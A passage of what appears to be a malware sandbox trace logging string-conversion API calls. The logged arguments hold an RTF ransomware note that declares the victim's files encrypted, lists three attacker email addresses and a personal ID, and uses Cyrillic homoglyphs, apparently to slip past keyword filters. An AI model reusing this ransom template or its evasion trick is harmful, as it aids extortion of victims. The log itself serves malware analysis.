pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 